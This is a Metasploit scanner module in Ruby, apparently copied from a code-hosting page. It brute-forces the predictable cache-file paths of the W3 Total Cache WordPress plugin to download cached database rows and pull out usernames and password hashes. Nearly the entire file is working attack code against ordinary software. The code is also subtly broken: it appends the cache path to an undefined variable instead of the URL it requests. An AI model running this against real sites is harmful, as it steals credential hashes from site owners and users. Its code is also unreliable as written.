2160718250
[See #1555]
133 lines
4.2 KiB
Ruby
133 lines
4.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'W3-Total-Cache Wordpress-plugin 0.9.2.4 (or before) Username and Hash Extract',
|
|
'Description' =>
|
|
"The W3-Total-Cache Wordpress Plugin <= 0.9.24 can cache database statements
|
|
and it's results in files for fast access. Version 0.9.2.4 has been fixed afterwards
|
|
so it can be vulnerable. These cache files are in the webroot of the Wordpress
|
|
installation and can be downloaded if the name is guessed. This modules tries to
|
|
locate them with brute force in order to find usernames and password hashes in these
|
|
files. W3 Total Cache must be configured with Database Cache enabled and Database
|
|
Cache Method set to Disk to be vulnerable",
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '88744'],
|
|
[ 'URL', 'http://seclists.org/fulldisclosure/2012/Dec/242']
|
|
],
|
|
'Author' =>
|
|
[
|
|
'Christian Mehlmauer <FireFart[at]gmail.com>', # Metasploit module
|
|
'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC
|
|
]
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [ true, 'Wordpress root', '/']),
|
|
OptString.new('TABLE_PREFIX', [ true, 'Wordpress table prefix', 'wp_']),
|
|
OptInt.new('SITE_ITERATIONS', [ true, 'Number of sites to iterate', 25]),
|
|
OptInt.new('USER_ITERATIONS', [ true, 'Number of users to iterate', 25]),
|
|
OptString.new('WP_CONTENT_DIR', [ true, 'Wordpress content directory', 'wp-content'])
|
|
], self.class)
|
|
end
|
|
|
|
def wordpress_url
|
|
url = target_uri
|
|
url.path << "/" if url.path[-1,1] != "/"
|
|
url
|
|
end
|
|
|
|
# Call the User site, so the db statement will be cached
|
|
def cache_user_info(user_id)
|
|
user_url = normalize_uri(wordpress_url)
|
|
begin
|
|
send_request_cgi(
|
|
{
|
|
"uri" => user_url,
|
|
"method" => "GET",
|
|
"vars_get" => {
|
|
"author" => user_id.to_s
|
|
}
|
|
})
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
vprint_error("Unable to connect to #{url}")
|
|
return nil
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
vprint_error("Unable to connect to #{url}")
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def run_host(ip)
|
|
|
|
users_found = false
|
|
|
|
for site_id in 1..datastore["SITE_ITERATIONS"] do
|
|
vprint_status("Trying site_id #{site_id}...")
|
|
for user_id in 1..datastore["USER_ITERATIONS"] do
|
|
vprint_status("Trying user_id #{user_id}...")
|
|
# used to cache the statement
|
|
cache_user_info(user_id)
|
|
query="SELECT * FROM #{datastore["TABLE_PREFIX"]}users WHERE ID = '#{user_id}'"
|
|
query_md5 = ::Rex::Text.md5(query)
|
|
host = datastore["VHOST"] || ip
|
|
key="w3tc_#{host}_#{site_id}_sql_#{query_md5}"
|
|
key_md5 = ::Rex::Text.md5(key)
|
|
hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}"
|
|
url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache")
|
|
uri << hash_path
|
|
|
|
result = nil
|
|
begin
|
|
result = send_request_cgi({ "uri" => url, "method" => "GET" })
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
print_error("Unable to connect to #{url}")
|
|
break
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
print_error("Unable to connect to #{url}")
|
|
break
|
|
end
|
|
|
|
if result.nil? or result.body.nil?
|
|
print_error("No response received")
|
|
break
|
|
end
|
|
|
|
match = result.body.scan(/.*"user_login";s:[0-9]+:"([^"]*)";s:[0-9]+:"user_pass";s:[0-9]+:"([^"]*)".*/)[0]
|
|
unless match.nil?
|
|
print_good("Username: #{match[0]}")
|
|
print_good("Password Hash: #{match[1]}")
|
|
report_auth_info(
|
|
:host => rhost,
|
|
:port => rport,
|
|
:sname => ssl ? "https" : "http",
|
|
:user => match[0],
|
|
:pass => match[1],
|
|
:active => true,
|
|
:type => "hash"
|
|
)
|
|
users_found = true
|
|
end
|
|
end
|
|
end
|
|
print_error("No users found :(") unless users_found
|
|
end
|
|
end
|